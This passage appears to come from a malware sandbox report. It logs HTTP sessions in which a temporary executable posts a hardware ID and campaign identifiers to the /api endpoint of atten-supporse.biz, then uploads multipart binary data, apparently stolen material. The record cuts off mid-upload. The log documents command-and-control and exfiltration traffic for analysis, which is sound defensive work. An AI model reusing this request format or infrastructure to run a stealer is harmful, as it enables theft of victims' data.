2024-12-08 17:06:17 UTC	1019	IN	HTTP/1.1 200 OK Date: Sun, 08 Dec 2024 17:06:17 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=0v0v18p94vstonvd4ai9fa2737; expires=Thu, 03-Apr-2025 10:52:56 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=m6Rs7H%2BSVK4l8j5DdpUSbxVPEKEa0YGQG5L0voGIha3%2B9z%2Bht74sxp3LeetL7FWHrSlFACKXZt3YMhXtluBLpF5RbICAwPHg30ZcW%2BKeCoaCQjgm3Vl%2Bq0jghtuuZoxEaJseihU%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8eee5859d9534297-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1674&min_rtt=1671&rtt_var=633&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2847&recv_bytes=909&delivery_rate=1718658&cwnd=245&unsent_bytes=0&cid=09709e7cb618c0fc&ts=773&x=0"
2024-12-08 17:06:17 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-12-08 17:06:17 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49788	172.67.165.166	443	7872	C:\Users\user\AppData\Local\Temp\1013229001\0tClIDb.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-08 17:06:19 UTC	266	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 48 Host: atten-supporse.biz
2024-12-08 17:06:19 UTC	48	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 48 38 4e 67 43 6c 2d 2d 43 68 75 76 61 6b 26 6a 3d Data Ascii: act=recive_message&ver=4.0&lid=H8NgCl--Chuvak&j=
2024-12-08 17:06:19 UTC	1011	IN	HTTP/1.1 200 OK Date: Sun, 08 Dec 2024 17:06:19 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=rt8eonervot9kbd3bvoj17cd3j; expires=Thu, 03-Apr-2025 10:52:58 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=H9V1ETYXR5G30mAjPN5ukHxG3SSZ9uTfBA371PicYtRZPRmfnDIHX7Q1sGsrPntvJSXoQDjwkN8NZCWa02WsMIPLgoo8hWYHsduZ8O1iLxOs5vYGjDP5sxfMMMYvpCDtfJ%2Fudss%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8eee5866b84742ab-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1749&min_rtt=1737&rtt_var=676&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2846&recv_bytes=950&delivery_rate=1591280&cwnd=199&unsent_bytes=0&cid=0cfe9498d39b5292&ts=907&x=0"
2024-12-08 17:06:19 UTC	358	IN	Data Raw: 34 39 31 63 0d 0a 45 64 4e 2b 37 6f 32 54 6c 38 64 32 6b 39 66 55 31 67 65 44 69 47 4c 64 4a 67 53 45 64 4f 4d 63 69 35 6a 59 62 70 4c 32 71 51 64 71 38 51 6a 4d 74 36 65 37 35 51 58 32 39 65 36 69 64 66 62 74 54 76 39 48 59 4b 5a 4f 68 58 33 6e 36 37 31 43 73 49 44 45 4a 53 75 31 48 34 4c 2b 39 72 76 6c 45 2b 76 31 37 6f 31 38 6f 65 30 4d 2f 78 77 6d 34 52 36 42 66 65 66 36 75 51 58 39 68 73 56 6b 65 62 38 5a 68 75 6a 77 38 36 59 61 2f 72 4b 78 73 32 62 70 35 67 75 77 54 6d 6d 6d 57 4d 46 35 38 62 72 69 54 4e 2b 54 33 57 5a 63 73 67 32 46 72 2b 36 37 76 46 54 32 75 66 62 73 4a 65 4c 74 41 4c 46 41 59 4f 38 63 69 33 54 76 2b 37 77 45 34 70 2f 50 62 33 6d 78 47 6f 66 69 2b 65 65 72 45 50 6d 35 74 37 6c 6d 6f 61 52 41 75 46 77 6d 76 6c 62 53 54 4f 72 72 71 Data Ascii: 491cEdN+7o2Tl8d2k9fU1geDiGLdJgSEdOMci5jYbpL2qQdq8QjMt6e75QX29e6idfbtTv9HYKZOhX3n671CsIDEJSu1H4L+9rvlE+v17o18oe0M/xwm4R6Bfef6uQX9hsVkeb8Zhujw86Ya/rKxs2bp5guwTmmmWMF58briTN+T3WZcsg2Fr+67vFT2ufbsJeLtALFAYO8ci3Tv+7wE4p/Pb3mxGofi+eerEPm5t7lmoaRAuFwmvlbSTOrrq
2024-12-08 17:06:19 UTC	1369	IN	Data Raw: 48 50 71 2b 73 36 5a 75 36 4f 63 4e 76 30 6c 73 36 52 57 42 65 65 50 77 74 51 62 30 6d 63 5a 6a 63 37 46 63 77 71 2f 32 37 65 56 4d 73 5a 61 7a 70 47 4c 74 2f 45 4b 46 42 48 6d 6f 44 38 46 35 35 62 72 69 54 50 69 52 79 47 5a 34 76 68 2b 45 35 4f 50 31 74 78 4c 38 73 4b 53 79 59 4f 2f 67 41 36 31 4f 61 4f 41 56 69 48 58 67 2f 37 30 49 73 4e 71 4c 59 6d 76 78 52 4d 7a 4f 2f 50 36 70 48 75 61 31 39 71 73 72 2b 4b 6f 48 73 77 51 2b 70 68 4b 41 65 75 6a 2b 74 41 4c 30 6d 4d 31 72 66 72 34 61 68 75 2f 32 2f 36 30 63 38 4c 69 39 75 32 58 6b 35 77 53 35 53 47 66 6a 56 73 38 2b 37 75 4c 36 56 4c 43 36 7a 47 5a 68 38 79 6d 50 34 66 2f 79 73 31 54 75 2b 36 2f 30 59 75 32 71 57 50 39 4b 59 2b 6b 45 67 47 7a 73 39 4b 67 41 39 5a 4c 47 5a 6e 32 78 47 59 76 69 2f 2f 4f Data Ascii: HPq+s6Zu6OcNv0ls6RWBeePwtQb0mcZjc7Fcwq/27eVMsZazpGLt/EKFBHmoD8F55briTPiRyGZ4vh+E5OP1txL8sKSyYO/gA61OaOAViHXg/70IsNqLYmvxRMzO/P6pHua19qsr+KoHswQ+phKAeuj+tAL0mM1rfr4ahu/2/60c8Li9u2Xk5wS5SGfjVs8+7uL6VLC6zGZh8ymP4f/ys1Tu+6/0Yu2qWP9KY+kEgGzs9KgA9ZLGZn2xGYvi//O
2024-12-08 17:06:19 UTC	1369	IN	Data Raw: 36 2f 30 59 75 32 71 57 50 39 4a 62 75 4d 54 6a 6e 2f 6a 39 4c 38 47 2f 4a 7a 46 5a 6d 47 2b 47 49 7a 6a 2b 66 2b 6f 47 76 57 39 76 37 39 75 35 2b 6f 42 74 51 51 6f 70 68 47 5a 50 72 47 36 6a 67 76 38 6d 63 51 6e 52 72 49 53 67 75 6a 6e 74 62 70 61 36 50 57 78 75 43 57 35 71 67 79 32 52 47 33 73 45 6f 46 35 35 50 2b 35 43 2f 4f 5a 7a 47 39 39 74 68 69 41 35 76 7a 7a 70 52 50 31 73 4b 53 78 62 4f 33 6d 51 50 45 45 59 66 35 57 32 54 37 47 2f 61 77 50 33 35 66 61 62 44 4f 75 55 70 57 76 39 76 6e 6c 54 4c 47 79 73 37 78 75 35 2b 49 41 72 55 46 6f 37 52 65 4c 65 4f 6a 33 74 67 72 77 6c 63 74 6a 66 37 45 62 69 2f 33 6a 38 4b 4d 47 2b 2f 58 34 39 47 4c 35 71 6c 6a 2f 63 6e 62 78 42 35 63 38 33 50 6d 30 41 76 65 43 69 33 6f 39 71 46 79 4c 34 37 47 74 35 52 2f 78 Data Ascii: 6/0Yu2qWP9JbuMTjn/j9L8G/JzFZmG+GIzj+f+oGvW9v79u5+oBtQQophGZPrG6jgv8mcQnRrISgujntbpa6PWxuCW5qgy2RG3sEoF55P+5C/OZzG99thiA5vzzpRP1sKSxbO3mQPEEYf5W2T7G/awP35fabDOuUpWv9vnlTLGys7xu5+IArUFo7ReLeOj3tgrwlctjf7Ebi/3j8KMG+/X49GL5qlj/cnbxB5c83Pm0AveCi3o9qFyL47Gt5R/x
2024-12-08 17:06:19 UTC	1369	IN	Data Raw: 37 7a 36 67 32 37 53 47 4c 75 48 59 73 2b 70 37 71 39 46 4c 44 4d 69 31 42 2b 76 68 79 50 2b 62 48 71 36 77 32 78 73 72 72 30 50 61 48 6d 44 72 39 4c 61 75 6f 64 69 58 2f 6c 39 4c 30 4a 2b 5a 7a 44 64 33 4b 31 46 49 33 68 2f 76 53 68 45 66 53 78 73 62 42 6a 37 71 70 4f 2f 30 4e 2b 70 6b 37 42 55 63 37 50 2b 43 33 4b 31 4e 51 72 61 76 45 62 67 4b 2b 70 74 61 6b 58 2f 62 32 35 73 6d 7a 74 34 41 6d 30 53 47 33 69 47 6f 68 37 37 2f 75 2f 43 66 47 51 78 32 39 31 73 68 2b 44 34 50 37 39 35 56 71 78 73 71 37 30 50 61 48 50 46 37 52 4b 59 4b 59 4a 7a 32 65 70 2f 62 5a 4d 71 4e 54 48 62 48 57 33 47 59 44 75 39 2f 32 67 48 50 57 30 73 4c 4a 6d 37 75 34 46 76 6b 74 69 36 68 69 4c 66 2b 6a 32 73 51 50 37 6b 59 73 72 4d 37 59 45 7a 4c 65 78 78 4b 59 43 35 71 57 36 39 Data Ascii: 7z6g27SGLuHYs+p7q9FLDMi1B+vhyP+bHq6w2xsrr0PaHmDr9LauodiX/l9L0J+ZzDd3K1FI3h/vShEfSxsbBj7qpO/0N+pk7BUc7P+C3K1NQravEbgK+ptakX/b25smzt4Am0SG3iGoh77/u/CfGQx291sh+D4P795Vqxsq70PaHPF7RKYKYJz2ep/bZMqNTHbHW3GYDu9/2gHPW0sLJm7u4Fvkti6hiLf+j2sQP7kYsrM7YEzLexxKYC5qW69
2024-12-08 17:06:19 UTC	1369	IN	Data Raw: 41 75 46 77 6d 76 6c 61 76 64 66 72 74 75 51 4c 37 67 74 41 6c 62 50 38 46 7a 4f 6a 39 74 66 31 55 38 72 36 39 73 47 58 74 36 67 53 79 52 48 54 70 45 59 5a 33 34 75 69 77 43 2f 65 66 77 32 35 38 74 77 36 41 34 65 50 77 74 77 61 78 2b 2f 61 7a 66 61 47 79 51 49 6c 44 64 76 59 56 77 30 2f 2f 2b 61 77 48 2f 5a 69 4c 65 6a 32 6f 58 49 76 6a 73 61 33 6c 45 76 36 38 74 62 74 6b 36 4f 59 4e 75 6b 31 6a 35 78 43 46 64 4f 50 36 76 41 72 78 6b 63 46 6d 63 72 73 56 69 2b 66 32 39 72 64 55 76 2f 57 78 72 43 57 35 71 69 6d 34 56 6d 6a 32 56 70 34 77 38 4c 71 39 41 4c 44 4d 69 32 46 35 76 68 69 4c 34 2f 66 77 6f 78 6e 77 75 72 65 30 61 75 58 68 43 62 6c 46 61 2b 4d 62 68 57 7a 6a 38 62 55 41 2b 5a 6a 47 4a 54 33 78 47 35 53 76 71 62 57 55 47 66 2b 37 73 61 49 6c 2f 71 Data Ascii: AuFwmvlavdfrtuQL7gtAlbP8FzOj9tf1U8r69sGXt6gSyRHTpEYZ34uiwC/efw258tw6A4ePwtwax+/azfaGyQIlDdvYVw0//+awH/ZiLej2oXIvjsa3lEv68tbtk6OYNuk1j5xCFdOP6vArxkcFmcrsVi+f29rdUv/WxrCW5qim4Vmj2Vp4w8Lq9ALDMi2F5vhiL4/fwoxnwure0auXhCblFa+MbhWzj8bUA+ZjGJT3xG5SvqbWUGf+7saIl/q
2024-12-08 17:06:19 UTC	1369	IN	Data Raw: 61 2b 55 51 68 33 58 6c 36 4c 4d 4d 38 35 2b 4c 4b 7a 4f 32 42 4d 79 33 73 64 61 79 41 76 75 79 75 71 4a 75 34 4f 6b 57 73 6c 51 6d 71 46 61 51 65 66 69 36 34 68 72 67 67 38 78 36 50 61 68 63 69 2b 4f 78 72 65 55 53 2b 4c 4f 78 73 6d 76 7a 37 77 61 77 53 32 2f 76 45 6f 6c 39 36 66 36 2b 43 2f 57 58 78 32 35 30 73 68 4f 49 35 76 2f 38 71 6c 53 2f 39 62 47 73 4a 62 6d 71 49 61 52 48 61 75 74 57 6e 6a 44 77 75 72 30 41 73 4d 79 4c 61 58 32 30 48 49 62 70 39 66 43 6a 48 76 53 31 76 62 64 71 35 65 77 45 73 45 52 74 37 78 65 48 65 2b 50 78 76 41 48 7a 6b 73 30 6c 50 66 45 62 6c 4b 2b 70 74 59 55 50 2f 4c 6d 78 39 48 71 76 38 30 43 34 53 43 61 2b 56 6f 70 79 37 66 32 36 41 66 4f 63 7a 6d 46 35 74 42 79 45 2f 66 6e 31 6f 67 62 6a 74 62 2b 78 61 65 4c 71 42 4c 6c Data Ascii: a+UQh3Xl6LMM85+LKzO2BMy3sdayAvuyuqJu4OkWslQmqFaQefi64hrgg8x6Pahci+OxreUS+LOxsmvz7wawS2/vEol96f6+C/WXx250shOI5v/8qlS/9bGsJbmqIaRHautWnjDwur0AsMyLaX20HIbp9fCjHvS1vbdq5ewEsERt7xeHe+PxvAHzks0lPfEblK+ptYUP/Lmx9Hqv80C4SCa+Vopy7f26AfOczmF5tByE/fn1ogbjtb+xaeLqBLl
2024-12-08 17:06:19 UTC	1369	IN	Data Raw: 59 35 76 31 37 72 69 46 63 37 55 77 48 4e 30 6f 52 2b 61 35 50 7a 35 74 43 71 78 37 65 4c 6d 4e 37 4f 34 55 71 41 45 65 64 6c 59 77 58 2b 70 6f 6f 4d 56 73 49 4b 4c 50 53 48 2f 58 4a 36 76 71 62 58 69 46 2b 4f 6e 73 4c 64 7a 34 71 30 2b 67 57 4e 77 37 42 47 52 65 66 37 31 2b 6b 4b 77 6d 34 73 39 53 76 45 56 69 2f 54 67 34 36 67 45 39 76 57 4a 2b 69 58 35 71 6c 6a 2f 63 57 58 6f 47 49 5a 6f 2b 4c 65 64 47 76 71 54 32 32 4a 6b 76 6c 7a 43 72 2f 65 31 2f 55 65 2f 39 62 4b 6c 4a 62 6d 36 55 75 51 52 4e 62 46 47 30 32 47 6e 34 2f 6f 61 73 4d 79 5a 4b 7a 4f 6a 58 4e 53 76 74 76 61 33 42 76 65 32 6f 4c 63 69 33 39 51 6e 70 55 6c 67 38 51 65 2f 51 4f 37 67 74 77 72 6e 68 59 64 77 63 4c 38 53 69 2f 6d 78 75 2b 55 62 73 65 32 50 39 43 32 68 31 55 37 2f 58 43 61 2b Data Ascii: Y5v17riFc7UwHN0oR+a5Pz5tCqx7eLmN7O4UqAEedlYwX+pooMVsIKLPSH/XJ6vqbXiF+OnsLdz4q0+gWNw7BGRef71+kKwm4s9SvEVi/Tg46gE9vWJ+iX5qlj/cWXoGIZo+LedGvqT22JkvlzCr/e1/Ue/9bKlJbm6UuQRNbFG02Gn4/oasMyZKzOjXNSvtva3Bve2oLci39QnpUlg8Qe/QO7gtwrnhYdwcL8Si/mxu+Ubse2P9C2h1U7/XCa+
2024-12-08 17:06:19 UTC	1369	IN	Data Raw: 6d 6f 70 55 4c 70 31 4e 30 6c 4b 2b 4e 53 7a 50 32 78 72 65 56 54 38 71 65 6b 73 6d 62 33 36 55 65 42 65 6b 48 6f 45 59 42 6f 2b 65 32 31 4d 73 36 42 79 47 74 39 74 67 71 64 72 37 2b 31 71 6c 53 70 6a 50 62 38 4a 64 36 6b 51 4b 63 45 50 71 59 6a 67 6e 44 6e 2f 61 77 64 76 62 50 46 59 6e 4b 6e 44 4a 76 67 73 62 76 6c 45 72 48 74 35 50 6f 6c 35 66 74 41 35 78 51 30 76 55 50 53 4b 62 6d 6f 70 55 4c 70 31 4e 30 6c 4b 2b 4e 53 7a 50 32 78 72 65 56 54 38 71 65 6b 73 6d 62 33 36 55 65 42 65 6b 48 6f 45 59 42 6f 2b 65 32 31 51 39 36 69 36 6c 74 4e 70 42 2b 43 34 66 62 6a 74 46 53 2f 39 62 6e 30 50 64 69 71 53 50 39 37 4b 4b 59 4f 77 53 61 70 7a 37 6b 43 2f 70 50 64 64 44 36 57 45 6f 76 75 35 2b 57 79 47 37 36 62 67 4a 55 6c 72 36 6f 47 2f 78 77 30 71 46 61 46 62 Data Ascii: mopULp1N0lK+NSzP2xreVT8qeksmb36UeBekHoEYBo+e21Ms6ByGt9tgqdr7+1qlSpjPb8Jd6kQKcEPqYjgnDn/awdvbPFYnKnDJvgsbvlErHt5Pol5ftA5xQ0vUPSKbmopULp1N0lK+NSzP2xreVT8qeksmb36UeBekHoEYBo+e21Q96i6ltNpB+C4fbjtFS/9bn0PdiqSP97KKYOwSapz7kC/pPddD6WEovu5+WyG76bgJUlr6oG/xw0qFaFb
2024-12-08 17:06:19 UTC	1369	IN	Data Raw: 50 73 71 58 64 5a 6e 4f 2f 47 38 79 68 73 65 33 6c 54 4c 47 59 70 4c 4e 31 34 71 70 4f 2f 30 67 6d 76 6c 61 4d 62 4f 37 71 75 55 44 33 6a 73 77 6c 62 50 38 46 7a 50 6d 78 72 66 5a 61 73 61 66 32 37 43 57 6d 35 41 32 2b 52 32 6a 6c 42 4a 4e 34 36 75 79 35 53 38 36 71 35 6e 64 30 6f 52 2f 4f 33 76 7a 78 73 77 48 79 70 62 47 4b 57 38 7a 34 42 36 39 48 4a 4d 6f 52 6a 48 4c 58 78 49 30 64 39 34 53 4a 51 33 43 6e 48 38 79 68 73 65 33 6c 54 4c 47 59 70 4c 4e 31 34 71 67 73 75 45 6c 71 70 67 6e 50 5a 36 6e 73 2b 6c 53 6a 32 6f 74 33 4d 2b 6c 63 79 2b 7a 6a 35 36 4d 58 35 37 62 78 69 6c 76 4d 2b 41 65 76 52 79 54 58 47 34 56 6f 2f 50 6d 71 43 38 36 71 35 6e 64 30 6f 52 2f 4f 79 73 75 33 6c 41 4c 79 74 62 69 7a 4a 61 2b 71 47 50 38 63 4a 73 73 45 68 6d 37 71 75 4a Data Ascii: PsqXdZnO/G8yhse3lTLGYpLN14qpO/0gmvlaMbO7quUD3jswlbP8FzPmxrfZasaf27CWm5A2+R2jlBJN46uy5S86q5nd0oR/O3vzxswHypbGKW8z4B69HJMoRjHLXxI0d94SJQ3CnH8yhse3lTLGYpLN14qgsuElqpgnPZ6ns+lSj2ot3M+lcy+zj56MX57bxilvM+AevRyTXG4Vo/PmqC86q5nd0oR/Oysu3lALytbizJa+qGP8cJssEhm7quJ

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49795	172.67.165.166	443	7872	C:\Users\user\AppData\Local\Temp\1013229001\0tClIDb.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-08 17:06:21 UTC	276	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=2IV6KEL089 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 18116 Host: atten-supporse.biz
2024-12-08 17:06:21 UTC	15331	OUT	Data Raw: 2d 2d 32 49 56 36 4b 45 4c 30 38 39 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 46 36 36 33 34 31 39 46 32 41 35 31 37 44 45 36 44 35 39 39 44 41 46 36 43 39 35 44 36 30 32 39 0d 0a 2d 2d 32 49 56 36 4b 45 4c 30 38 39 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 32 49 56 36 4b 45 4c 30 38 39 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 48 38 4e 67 43 6c 2d 2d 43 68 75 76 61 6b 0d 0a 2d 2d 32 49 56 36 4b 45 4c 30 38 39 0d 0a 43 6f 6e 74 65 6e 74 Data Ascii: --2IV6KEL089Content-Disposition: form-data; name="hwid"F663419F2A517DE6D599DAF6C95D6029--2IV6KEL089Content-Disposition: form-data; name="pid"2--2IV6KEL089Content-Disposition: form-data; name="lid"H8NgCl--Chuvak--2IV6KEL089Content
2024-12-08 17:06:21 UTC	2785	OUT	Data Raw: 97 c5 15 2e a7 07 cf 5c b7 ad 66 f0 cc 99 a8 33 f7 13 05 cf ec 85 7a 3b 85 8d 54 32 2f 1f e5 1b c1 33 7b 37 a5 bf 9f 8e 3a f1 6e 9a e0 79 69 60 c1 4c a6 f2 f7 de 4b 1f 36 af 1d f9 d7 e0 58 6d 5b 0b fd 9c 0a b5 9b 60 cc b0 d7 ab 1f 3b d0 52 0a 9f fd 54 22 95 3f 7a 94 ff 75 ab 9f a1 e3 6f 93 83 99 38 43 4e 2f 95 2f 6d 6e ac ae d3 03 1e ad ac 6f 7a a3 8a 81 36 d9 bf 1f 83 71 fd 1a ed c5 4d d3 3e 9b d8 ac 97 0c bd 15 36 2b 97 37 bb ef 2e 57 0f bc 3e 57 2a 0f 97 2f ad 6d 4a a7 02 2f 2b 7f 42 10 78 3e ba 45 a8 b5 6d 75 bf 83 75 53 b3 09 3b 9c 3e 27 56 d3 d4 ab d6 33 5e 4f 4d 1f 4e cd b2 89 b4 bc b1 b1 56 29 af ef 1e fa 70 79 ed 62 65 cf 7b d9 de 73 45 81 36 af a9 da 16 51 bc 21 8f 77 45 11 8f 43 d4 61 11 d5 14 88 8d cc 54 77 94 6d 93 be 93 15 d7 52 9c ab a6 b6 Data Ascii: .\f3z;T2/3{7:nyi`LK6Xm[`;RT"?zuo8CN//mnoz6qM>6+7.W>W*/mJ/+Bx>EmuuS;>'V3^OMNV)pybe{sE6Q!wECaTwmR
2024-12-08 17:06:22 UTC	1022	IN	HTTP/1.1 200 OK Date: Sun, 08 Dec 2024 17:06:22 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=5asf8rtv3amfb40o9vq9ardub1; expires=Thu, 03-Apr-2025 10:53:01 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=rg6ghvdNvr%2BDbKHYPLDSnShWrttxaZXDaB%2BTOsduKFlxkQAogjBUDB%2BIWMikurunmMvBSeDnomATz2ftNNtlW4z3C3i6u4hIuAXNq7TuX%2FAqpsEgtuc3VwPqLRO6fxeKAVZLjBY%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8eee58754e19c44a-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1486&min_rtt=1479&rtt_var=570&sent=11&recv=22&lost=0&retrans=0&sent_bytes=2847&recv_bytes=19072&delivery_rate=1893644&cwnd=228&unsent_bytes=0&cid=56f3a7359cae5ebc&ts=1082&x=0"
2024-12-08 17:06:22 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 32 32 38 0d 0a Data Ascii: fok 8.46.123.228
2024-12-08 17:06:22 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49802	172.67.165.166	443	7872	C:\Users\user\AppData\Local\Temp\1013229001\0tClIDb.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-08 17:06:23 UTC	273	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=9L2NQWWV User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8725 Host: atten-supporse.biz
2024-12-08 17:06:23 UTC	8725	OUT	Data Raw: 2d 2d 39 4c 32 4e 51 57 57 56 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 46 36 36 33 34 31 39 46 32 41 35 31 37 44 45 36 44 35 39 39 44 41 46 36 43 39 35 44 36 30 32 39 0d 0a 2d 2d 39 4c 32 4e 51 57 57 56 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 39 4c 32 4e 51 57 57 56 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 48 38 4e 67 43 6c 2d 2d 43 68 75 76 61 6b 0d 0a 2d 2d 39 4c 32 4e 51 57 57 56 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 Data Ascii: --9L2NQWWVContent-Disposition: form-data; name="hwid"F663419F2A517DE6D599DAF6C95D6029--9L2NQWWVContent-Disposition: form-data; name="pid"2--9L2NQWWVContent-Disposition: form-data; name="lid"H8NgCl--Chuvak--9L2NQWWVContent-Disposi
2024-12-08 17:06:24 UTC	1018	IN	HTTP/1.1 200 OK Date: Sun, 08 Dec 2024 17:06:24 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=b5ujm59g33vgprvfn9hs8h5k7o; expires=Thu, 03-Apr-2025 10:53:03 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=tL%2FK74VtSZNVndYevhSy4maPMqonWPdVLyX3IHenbhJqhWUE%2B7%2BgwFpABczJyrlu2t8hQDkkNRkkggv2dtcxxCTXZDvJVES0Wy3oVqzDqUULBkpJ1N0UDyQvIyWcFNB8P5oO9LY%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8eee58843efb4401-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1633&min_rtt=1627&rtt_var=622&sent=8&recv=16&lost=0&retrans=0&sent_bytes=2846&recv_bytes=9656&delivery_rate=1743283&cwnd=233&unsent_bytes=0&cid=a2dc7b49ab563bf5&ts=1139&x=0"
2024-12-08 17:06:24 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 32 32 38 0d 0a Data Ascii: fok 8.46.123.228
2024-12-08 17:06:24 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	49810	172.67.165.166	443	7872	C:\Users\user\AppData\Local\Temp\1013229001\0tClIDb.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-08 17:06:26 UTC	285	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=PHSWT3AU2H4FCXW15YW User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 20444 Host: atten-supporse.biz
2024-12-08 17:06:26 UTC	15331	OUT	Data Raw: 2d 2d 50 48 53 57 54 33 41 55 32 48 34 46 43 58 57 31 35 59 57 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 46 36 36 33 34 31 39 46 32 41 35 31 37 44 45 36 44 35 39 39 44 41 46 36 43 39 35 44 36 30 32 39 0d 0a 2d 2d 50 48 53 57 54 33 41 55 32 48 34 46 43 58 57 31 35 59 57 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 50 48 53 57 54 33 41 55 32 48 34 46 43 58 57 31 35 59 57 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 